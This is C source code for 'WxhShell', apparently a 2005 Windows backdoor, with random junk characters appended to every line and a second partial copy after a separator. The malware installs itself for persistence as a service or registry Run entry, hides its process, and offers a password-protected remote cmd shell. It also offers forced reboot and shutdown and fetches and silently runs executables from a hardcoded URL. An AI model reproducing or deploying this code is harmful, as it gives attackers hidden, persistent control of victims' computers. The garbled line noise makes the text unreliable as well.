    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K~,,xsy,G&  
    if(Boot(SHUTDOWN)) o?p) V^7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  }tv-  
    else { gMI%z2]'-  
    closesocket(wsh); B7 }-g"p$/  
    ExitThread(0); ,{8~TVO  
    } g"C$B Fc  
    break; r7ywK9UL  
    } tk}qvW.Ii  
  // 获取shell ,*S?L qv^  
  case 's': { 3tIIBOwg[  
    CmdShell(wsh); 1oX"}YY1  
    closesocket(wsh); $!obpZ~}  
    ExitThread(0); 'Q(A5zfN]Y  
    break; Fl*@@jQ8cV  
  } !k<+-Lf:2  
  // 退出 X dB#+"[  
  case 'x': { KD Qux  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <hy>NM@$  
    CloseIt(wsh); x:l`e:`y9  
    break; 4eaC18?  
    } >t*zY~R.  
  // 离开 7qW:^2y  
  case 'q': { Sk;IAp#X9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); msY"Y*4  
    closesocket(wsh); b>2u>4  
    WSACleanup(); V!},a@>p  
    exit(1); 'd6hQ4Vw4  
    break; g4Hq<W"  
        } =$BgIt  
  } tvb hWYe  
  } *~&W?i  
X:62 )^~'  
  // 提示信息 } doj4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tm3$|+}$f  
} y[r T5ed  
  } 31b-r[B{%  
O=mGL  
  return; UBC[5E$  
} dc?Yk3(Y  
wEDU*}~  
// shell模块句柄 -h.YQC`  
int CmdShell(SOCKET sock) B0 R[f  
{ WUa-hm2:  
STARTUPINFO si; B r pin  
ZeroMemory(&si,sizeof(si)); AQ0L9?   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &S|laq H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JHO9d:{-  
PROCESS_INFORMATION ProcessInfo; 2d3wQ)2  
char cmdline[]="cmd"; SxH}/I|W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,#WXAA mm  
  return 0; m,up37-{  
} %eT/:I  
zNXk dw  
// 自身启动模式 cPS!%?}I  
int StartFromService(void) 7B&nV92S  
{ Ip2JzE  
typedef struct +pe_s&  
{ PL8akA#  
  DWORD ExitStatus; s}?98?tYB  
  DWORD PebBaseAddress; 7Q[P  
  DWORD AffinityMask; WMUw5h  
  DWORD BasePriority; ]e"NJkcm  
  ULONG UniqueProcessId; /+IR^WG#C}  
  ULONG InheritedFromUniqueProcessId; 9L&AbmIr  
}   PROCESS_BASIC_INFORMATION; s{iYf :  
K@>v|JD  
PROCNTQSIP NtQueryInformationProcess; <#R7sco'  
+[F9Q,bH@b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R jAeN#,?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dR=SW0Oa{  
,bH  
  HANDLE             hProcess; | c8u  
  PROCESS_BASIC_INFORMATION pbi; CyXcA;H,.  
^WD [>E~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =3J~ Fk  
  if(NULL == hInst ) return 0; u YH{4%  
$x2<D :  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vF([mOZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0cS.|\ZTA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H"&N<"hw  
[yVU p+  
  if (!NtQueryInformationProcess) return 0; <B``/EX^  
 u?'X%'K*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bpU^|r^W  
  if(!hProcess) return 0; _D+7w'8h  
fi,=z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 94lmsE  
.#Sd|C]R7  
  CloseHandle(hProcess); 8;Pdd1GyUL  
(ZI&'"H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z1Ju;k( 8  
if(hProcess==NULL) return 0; C]):+F<7  
'Uc|[l]  
HMODULE hMod; OVivJx  
char procName[255]; bC@b9opD  
unsigned long cbNeeded; |w>DZG!}1-  
YWdlE7 y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Aw|3W ]  
 ipyO&v  
  CloseHandle(hProcess); O42An$}  
RI%l& Hm  
if(strstr(procName,"services")) return 1; // 以服务启动 iL\\JuY  
>i ~zG6H  
  return 0; // 注册表启动 ( Rf)&KN  
} %%3ugD5i!  
Em?skUnG,  
// 主模块 /JfXK$`  
int StartWxhshell(LPSTR lpCmdLine) "xO`&a{  
{ VtmUK$k}I  
  SOCKET wsl; [ z&y]~  
BOOL val=TRUE; }0!\%7-Q  
  int port=0; 8t7hN?,t  
  struct sockaddr_in door; AV&eg e  
=AAH}  
  if(wscfg.ws_autoins) Install(); nv8,O=#s  
r%a$u%)oD  
port=atoi(lpCmdLine); ;x7SY;0*  
>AfJxdd1  
if(port<=0) port=wscfg.ws_port; J{1O\i  
{6AJ>}3  
  WSADATA data; +?L~fM69B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K:{Q~+   
]pGr'T~Gj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n/ 8fv~zU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AKWw36lm  
  door.sin_family = AF_INET; hQ\]vp7V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /2U.,vw  
  door.sin_port = htons(port); !eO?75/  
 m$cM+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }@#e D  
closesocket(wsl); dy0!Zz  
return 1; 0b|!S/*A3  
} O4#zsr:"  
5 QT9  
  if(listen(wsl,2) == INVALID_SOCKET) { 8q0 .yhb  
closesocket(wsl); k+i=0 P0mf  
return 1; -`gC?yff:  
}  K A<  
  Wxhshell(wsl); H _2hr[  
  WSACleanup(); <zUmcZ  
TRiB|b]8Q#  
return 0; +GGj*sD  
\"*l:x-u  
} dEL>Uly  
!Zwl9DX3  
// 以NT服务方式启动 jBQQ?cA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N" 8o0>  
{ aL`pvsnF  
DWORD   status = 0; t3WlVUtq3  
  DWORD   specificError = 0xfffffff; L\B+j+~  
] x Kmz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YA|*$$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EHb:(|UA%8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PNG'"7O  
  serviceStatus.dwWin32ExitCode     = 0; [WK_Vh{  
  serviceStatus.dwServiceSpecificExitCode = 0; ox*Ka]  
  serviceStatus.dwCheckPoint       = 0; X >**M  
  serviceStatus.dwWaitHint       = 0; {u1t .+  
*83+!DV|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7+fik0F  
  if (hServiceStatusHandle==0) return; ,yT4(cMBk?  
jgYiuM3c\  
status = GetLastError(); $@NZ*m%?JQ  
  if (status!=NO_ERROR) N7;2BUIXJ  
{ M-Js"cB[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pf!K()<uJ  
    serviceStatus.dwCheckPoint       = 0; w9oiu$7),  
    serviceStatus.dwWaitHint       = 0; FD6|>G  
    serviceStatus.dwWin32ExitCode     = status; x=Ru@nK;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1TVTP2&Rd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BAPi<U'D  
    return; "-Ns1A8  
  } J>'o,"D  
H Ow][}M_w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [Cs2H8=#  
  serviceStatus.dwCheckPoint       = 0; }FK6o 6  
  serviceStatus.dwWaitHint       = 0; vZKo&jU k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jk~T.p?tF  
} " pH+YqJ$  
eMF%!qUr  
// 处理NT服务事件,比如:启动、停止 `b2 I)xC#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ALG #)$|  
{ }cP 3i  
switch(fdwControl) +j<Nu)0iY  
{ x}roPhZ  
case SERVICE_CONTROL_STOP: AV'>  
  serviceStatus.dwWin32ExitCode = 0; jy*wj7fj1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gg&jb=  
  serviceStatus.dwCheckPoint   = 0; RsY<j& f  
  serviceStatus.dwWaitHint     = 0; AiyjrEa%  
  { <wuP*vI "h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f;b(W  
  } 0I cyi#N  
  return; >Kr,(8rA  
case SERVICE_CONTROL_PAUSE: z(m*]kpL"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vS X 6~m  
  break; D"o>\Q  
case SERVICE_CONTROL_CONTINUE: ]EK"AuEz`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n% *u;iG  
  break; gC3{:MC-G  
case SERVICE_CONTROL_INTERROGATE: wb{y]~&6K  
  break; *n*OVI8L  
}; cVz.ac  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $a-~ozr`C  
} `KL`^UqR  
8'?e4;O  
// 标准应用程序主函数 D( _a Xy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "qF&%&#r'  
{ ^fx9R 5E$:  
e88JT_zrO  
// 获取操作系统版本 /M#A[tZ3  
OsIsNt=GetOsVer(); '*T7tl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [$V_qFv{  
I8[G!u71)_  
  // 从命令行安装 6zDJdE'Es  
  if(strpbrk(lpCmdLine,"iI")) Install(); hVlL"w*1  
_Y0o\0B  
  // 下载执行文件 >Z3}WMgBN  
if(wscfg.ws_downexe) { fLy s$*^)^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $0wl=S  
  WinExec(wscfg.ws_filenam,SW_HIDE); KomF)KQ2r  
} `@ `CZg  
% va/x]K  
if(!OsIsNt) { +EpT)FJX  
// 如果时win9x,隐藏进程并且设置为注册表启动 J#D!J8KP7  
HideProc(); U{;i864:}  
StartWxhshell(lpCmdLine); h?TE$&CL?  
} YZoudX'"  
else KavRW.w  
  if(StartFromService()) nc31X  
  // 以服务方式启动 :;JJvYIs  
  StartServiceCtrlDispatcher(DispatchTable); +28FB[W  
else <y!BO  
  // 普通方式启动 QQ?` 1W  
  StartWxhshell(lpCmdLine); B!Qdf8We  
Bb1dH/8  
return 0; ~U^0z|.  
} # v v k7  
-_2= NA?t  
RuHJk\T+  
BBp Hp  
=========================================== dJ|]W|q<  
PGybX:L  
YsTfv1~z#  
Vb1@JC9b  
X&Mc NO6"  
sQ`8L+oY  
" / '7WL[<  
c XY!b=9  
#include <stdio.h> o30PI  
#include <string.h> wPW9bu  
#include <windows.h> a. gu  
#include <winsock2.h> hwO]{)%  
#include <winsvc.h> }R J2\CP  
#include <urlmon.h> GI~;2 `V  
S</" ^C51J  
#pragma comment (lib, "Ws2_32.lib") F\XzP\  
#pragma comment (lib, "urlmon.lib") 7lh%\  
5%W3&F6 %  
#define MAX_USER   100 // 最大客户端连接数 `j<'*v zo  
#define BUF_SOCK   200 // sock buffer ?5->F/f&  
#define KEY_BUFF   255 // 输入 buffer )ei+ewVZ  
*|4~ 0w  
#define REBOOT     0   // 重启 mG2}JWA  
#define SHUTDOWN   1   // 关机 +)V6"XY-(  
3w0m:~KS6V  
#define DEF_PORT   5000 // 监听端口 G q:7d]c~T  
^i\zMMR  
#define REG_LEN     16   // 注册表键长度 sd=i!r)ya  
#define SVC_LEN     80   // NT服务名长度 gz$=\=%>RL  
nGP>M#F  
// 从dll定义API XL"e<P;t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cd (Ov5%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -nU_eDy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |g7E*1Ie  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }b+=,Sc"  
k1%Ek#5  
// wxhshell配置信息 (57x5qP X  
struct WSCFG { `HHbQXB  
  int ws_port;         // 监听端口 +}:c+Z<  
  char ws_passstr[REG_LEN]; // 口令 0 ">#h  
  int ws_autoins;       // 安装标记, 1=yes 0=no htkyywv  
  char ws_regname[REG_LEN]; // 注册表键名 EKDv3aFQZ#  
  char ws_svcname[REG_LEN]; // 服务名 6b)1B\p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jsL'O;K/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9t)t-t#P;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @4&sL](q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .Oim7JQ8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #ocT4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AU >d1S.  
, X|oCD  
}; 3"<{YEj8U  
O[8Lp?  
// default Wxhshell configuration >w V$az  
struct WSCFG wscfg={DEF_PORT, [OM Kk#vW  
    "xuhuanlingzhe", D@0eYX4s  
    1, JM M\  
    "Wxhshell", VNMhtwmK,  
    "Wxhshell", n[{o~VN  
            "WxhShell Service", D@f%&|IZ  
    "Wrsky Windows CmdShell Service", Z &PwNr/  
    "Please Input Your Password: ", 8IVKS>  
  1, 5[I 9/4,  
  "http://www.wrsky.com/wxhshell.exe", H p1cVs  
  "Wxhshell.exe" T$'Ja'9Kj  
    }; R (hq Ba/V  
M>'-P  
// 消息定义模块 } #$Y^ +UN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  ) .#,1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (I\aGGW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :yO)g]KF  
char *msg_ws_ext="\n\rExit."; QPGssQR6  
char *msg_ws_end="\n\rQuit."; HeR-;L  
char *msg_ws_boot="\n\rReboot..."; 6g<JPc  
char *msg_ws_poff="\n\rShutdown..."; <Q%o}m4Kt  
char *msg_ws_down="\n\rSave to "; lM?P8#3  
Vg2s~ce{  
char *msg_ws_err="\n\rErr!"; f)*}L?  
char *msg_ws_ok="\n\rOK!"; S"fnT*:.%  
gmrj CLj  
char ExeFile[MAX_PATH]; KUB"@wUr  
int nUser = 0; $H-s(3vq  
HANDLE handles[MAX_USER]; B_:K.]DK`  
int OsIsNt; VCh%v-/  
.'SM|r$  
SERVICE_STATUS       serviceStatus; =`{!" 6a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S6K aw  
N>@AsI  
// 函数声明 F-2HE><+  
int Install(void); TCB<fS~U-  
int Uninstall(void); & {B,m%G  
int DownloadFile(char *sURL, SOCKET wsh); )0/ D Y  
int Boot(int flag); `<[Zs]Fe4  
void HideProc(void); %M ~X:A;4  
int GetOsVer(void); Inr ~9hz  
int Wxhshell(SOCKET wsl); v6iV#yz3(  
void TalkWithClient(void *cs); D<nTo&m_  
int CmdShell(SOCKET sock); >j\zj] -"  
int StartFromService(void); ah~7T~  
int StartWxhshell(LPSTR lpCmdLine); )LnHm  
0Wk}d(f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d~YDg{H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kf(% aDYq  
)M}bc1 _  
// 数据结构和表定义 ` R^[s56wp  
SERVICE_TABLE_ENTRY DispatchTable[] = 3A'd7FJ0G  
{ EjvxfqPv  
{wscfg.ws_svcname, NTServiceMain}, ^W'\8L  
{NULL, NULL} e}7qZ^  
}; A D~\/V&+  
Px)VDs=k  
// 自我安装 lQ)ZsFs=  
int Install(void) -O-_F6p'D  
{ BYwG\2?~  
  char svExeFile[MAX_PATH]; p2tB F98  
  HKEY key;  c~dX8+  
  strcpy(svExeFile,ExeFile); ptrLnJ|%  
Rqu;;VI[  
// 如果是win9x系统,修改注册表设为自启动 5>/,25 99  
if(!OsIsNt) { 3wa }p^   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $zDW)%nAX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OHe<U8iu%  
  RegCloseKey(key); ~ / "aD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q}(UC1|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TB1 1crE  
  RegCloseKey(key); {s 4:V=J  
  return 0; [|uAfp5R  
    } u:fiil$  
  } C9({7[k^%  
} hX~IZ((Hi8  
else { #y2="$ V  
UB?a-jGZ K  
// 如果是NT以上系统,安装为系统服务 :aco$ZNH5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qp%kX@Z'  
if (schSCManager!=0) llQDZ}T  
{ 'J+Vw9 s7  
  SC_HANDLE schService = CreateService 1<pbO:r  
  ( 0Ac]&N d`  
  schSCManager, ]vhh*  
  wscfg.ws_svcname, O{LWQ"@y  
  wscfg.ws_svcdisp, H@'Y>^z?  
  SERVICE_ALL_ACCESS, M="%NxuS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c5^i5de  
  SERVICE_AUTO_START, BQt!L1))  
  SERVICE_ERROR_NORMAL,  03_tt7  
  svExeFile, mtmtOG_/=  
  NULL, =3""D{l  
  NULL, F|Jo|02  
  NULL, A*E$_N  
  NULL, g9p#v$V  
  NULL \tU91 VIj  
  ); O:#t> ;  
  if (schService!=0) hA)3Ah*  
  { LV'v7 2yUH  
  CloseServiceHandle(schService); Ij/c@#q.  
  CloseServiceHandle(schSCManager); P}JA"V&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \)`\F$CF  
  strcat(svExeFile,wscfg.ws_svcname); L}x"U9'C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5-aCNAF2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q!|. ,?V  
  RegCloseKey(key); }fL8<HM\'c  
  return 0; c\"oj&>A  
    } t$rWE|+_z  
  } qD Nqd  
  CloseServiceHandle(schSCManager); KZ;U6TBiB  
} aFd ,   
} <86upS6  
1rT}mm/e;  
return 1; ym8\q:N(R  
} ; #e-pkV  
c :hOQZ  
// 自我卸载 lv,8NmP5  
int Uninstall(void) x)nBy)<  
{ \S1WF ?<,  
  HKEY key; ogDyrY}]  
OZ$u&>916  
if(!OsIsNt) { xOPSw|!w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A0o6-M]'0  
  RegDeleteValue(key,wscfg.ws_regname); y}nM'$p  
  RegCloseKey(key); S\s1}`pNm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]p@7[8}  
  RegDeleteValue(key,wscfg.ws_regname); o+q4Vg9&  
  RegCloseKey(key); //f[%j*>  
  return 0; %GjF;dJ  
  } h"M}Iz~|V?  
} `N ;!=7y7Y  
} p*n$iroy_{  
else { V'\4sPt  
a'XCT@B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P[aB}<1f0  
if (schSCManager!=0) Vad(PS0  
{ ~Og'IRf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IiS1ubNtZ  
  if (schService!=0) *+lnAxRa?  
  { `L7 cS  
  if(DeleteService(schService)!=0) { l,-smK69  
  CloseServiceHandle(schService); enK4`+.7  
  CloseServiceHandle(schSCManager); pA"pt~6  
  return 0; rh/3N8[6  
  } XNd:x {  
  CloseServiceHandle(schService); %nVnK6[sox  
  } H\ 8.T:>  
  CloseServiceHandle(schSCManager); 4- N>#  
} I)O%D3wfMW  
} )"=BbMfhu  
r]" >  
return 1; hFyN|Dqhds  
} boJQ3Xc  
E}.cz\!.  
// 从指定url下载文件 ;m@>v?zE  
int DownloadFile(char *sURL, SOCKET wsh) X NnsMl  
{ ps_CQh0  
  HRESULT hr; ib*$3Fn~  
char seps[]= "/"; 5/>G)&  
char *token; %[&cy'  
char *file; 2lE { P  
char myURL[MAX_PATH]; ^~eT# Y8  
char myFILE[MAX_PATH]; ;(TBg-LEK  
82efqzT  
strcpy(myURL,sURL); -P@o>#Em  
  token=strtok(myURL,seps); qeH#c=DQ  
  while(token!=NULL) ?(;ygjyx  
  { 6D/5vM1  
    file=token; %t:1)]2  
  token=strtok(NULL,seps); pjrVPi5&t  
  } x.>z2.  
K;gm^  
GetCurrentDirectory(MAX_PATH,myFILE); C} Ewi-  
strcat(myFILE, "\\");  @X  
strcat(myFILE, file); at ]Lz_\  
  send(wsh,myFILE,strlen(myFILE),0); _f{'&YhUU  
send(wsh,"...",3,0); GDZe6*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]J?5qR:xCy  
  if(hr==S_OK) (~zdS.  
return 0; nu4GK}xI  
else H /*^$>0Uo  
return 1; ?gH[tN:=  
0JKbp*H  
} /p?h@6h@y  
R8O<} >3a  
// 系统电源模块 ~$YFfv>  
int Boot(int flag) gXc&uR0S  
{ xBR2tDi%  
  HANDLE hToken; v=iz*2+X  
  TOKEN_PRIVILEGES tkp; O#CxS/M5  
(E\7Ui0 Q  
  if(OsIsNt) { +twJHf_U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e8--qV#<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ib ;:*  
    tkp.PrivilegeCount = 1; c]t =#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +q1 @8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =y[eQS$  
if(flag==REBOOT) { kc1 *@<L6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ].7)^  
  return 0; =/V r,y$  
} >eWHPO  
else { \ bd? `."  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a~:'OW:Q  
  return 0; H:a(&Zb  
} vEW;~FLd  
  } {SCwi;m  
  else { rq T@i(i  
if(flag==REBOOT) { #eR*|W7o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _lu.@IX-  
  return 0; GriL< =?t  
} `cMa Fc-y/  
else { ^A;v|U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b"/P  
  return 0; [;h@ q}  
} - "h {B  
} q}1AV7$Ai  
i *nNu-g  
return 1; !NZFo S~  
} oT_k"]~Q~2  
fL' 42  
// win9x进程隐藏模块 y3))I\QT  
void HideProc(void) +Y'(,J  
{ +c+#InsY  
~~&8I!r e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H [R|U   
  if ( hKernel != NULL ) ^Me__Y  
  { ,d&~#W]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RVlC8uJ;P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MJ4+|riB  
    FreeLibrary(hKernel); oypX.nye_  
  } ft?J|AG  
pV<18CaJ  
return; !pQQkZol  
} ppmDmi~X  
QVQe9{ "0  
// 获取操作系统版本 `hY%<L sI  
int GetOsVer(void) %h2U(=/:  
{ 1g^N7YF  
  OSVERSIONINFO winfo; 87r#;ND  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nhiCV>@y  
  GetVersionEx(&winfo);  G\ru%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) svHs&v  
  return 1; 2PAo tD4+I  
  else C[|jJ9VE,  
  return 0; 6psK2d0  
} }gGcYRT  
"N D1$l  
// 客户端句柄模块 bt-y6,> +E  
int Wxhshell(SOCKET wsl) u4rGe!  
{ 'HH[[9Q  
  SOCKET wsh; zxT&K|  
  struct sockaddr_in client; Ro$l/lXl8t  
  DWORD myID; f*aYS  
b: +.Y$%F-  
  while(nUser<MAX_USER) "  q0lh  
{ j2k,)MHu!x  
  int nSize=sizeof(client); QUH USDT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <t.yn\G-w  
  if(wsh==INVALID_SOCKET) return 1; R*'rg-d  
!%_}Rv!JT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ip|~j} }  
if(handles[nUser]==0) gG&2fV}l6  
  closesocket(wsh); TO- [6Pq#  
else z|<6y~5,  
  nUser++; wS hsu_(i  
  } Fnzv&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L:}hZf{p*  
(w6024~  
  return 0; 6Y`eYp5A  
} 6L}$R`s5H  
\L<Hy)l  
// 关闭 socket Pz:,q~  
void CloseIt(SOCKET wsh) LW{7|g  
{ 9V9K3xWn  
closesocket(wsh); _RST[B.u6  
nUser--; zL+jlUkE  
ExitThread(0); Gh>Rt=Qu%  
} ~Yb5F YE  
Cz#0Gh>1  
// 客户端请求句柄 xKv\z1ra  
void TalkWithClient(void *cs) ,KdD owc  
{ ;vy"i  
f)Z$ ,&  
  SOCKET wsh=(SOCKET)cs; 9h9 jS~h  
  char pwd[SVC_LEN]; }} J?, >g  
  char cmd[KEY_BUFF]; ;1'X_tp  
char chr[1]; pi 7W8y  
int i,j; :uSo 2d  
Uz} #.  
  while (nUser < MAX_USER) { AU OL?st  
AD_")_B|i  
if(wscfg.ws_passstr) {  zN: VT&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tuo`>ZA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RpOGY{[)[  
  //ZeroMemory(pwd,KEY_BUFF); cGIxE[n'  
      i=0; @ 4#q  
  while(i<SVC_LEN) { 0r*E$|zZ  
onI%Jl sq  
  // 设置超时 iV58 m  
  fd_set FdRead; ; $i{>mDT  
  struct timeval TimeOut; zogw1g&C  
  FD_ZERO(&FdRead); '=Nb`n3%  
  FD_SET(wsh,&FdRead); mCb(B48]%X  
  TimeOut.tv_sec=8; %iPWg  
  TimeOut.tv_usec=0; nQy.?*X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); idPx! fe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A,Wwt [Qw  
YC8wo1;Y!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J<'[P$D  
  pwd=chr[0]; NTb mI$(  
  if(chr[0]==0xd || chr[0]==0xa) { ]bLI!2Kr  
  pwd=0; u!hY bCB  
  break; gFizw:l  
  } GL-v</2'U  
  i++; MHeUh[%(  
    } HkVnTC  
Tty_P,  
  // 如果是非法用户,关闭 socket o$;t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #^4p(eZ[}  
} _kg<K D=P  
%UT5KYd!=N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @a$_F3W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LmWZ43Z"@  
Kkcb' aDR  
while(1) { m!Cvd9X=  
}Go?j# !  
  ZeroMemory(cmd,KEY_BUFF); d,8L-pT$FM  
' ^E7T'v%  
      // 自动支持客户端 telnet标准   VHyH't_&s  
  j=0; X'Q?Mh  
  while(j<KEY_BUFF) { ]Wr2 IM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IO3p&sJ/  
  cmd[j]=chr[0]; P{fT5K|  
  if(chr[0]==0xa || chr[0]==0xd) { = >CADTU  
  cmd[j]=0; M(8dKj1+  
  break; n_QSuh/Wn  
  } ]^:sV)  
  j++; QxS] 6hA  
    } w"ZngrwBl  
@+Y ql  
  // 下载文件 SQ'\Kd=  
  if(strstr(cmd,"http://")) { VzD LGLH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J_ NY:B  
  if(DownloadFile(cmd,wsh)) '2Q[g0VR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u_H=Xm)9  
  else 7+ +Fak  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Pt.  
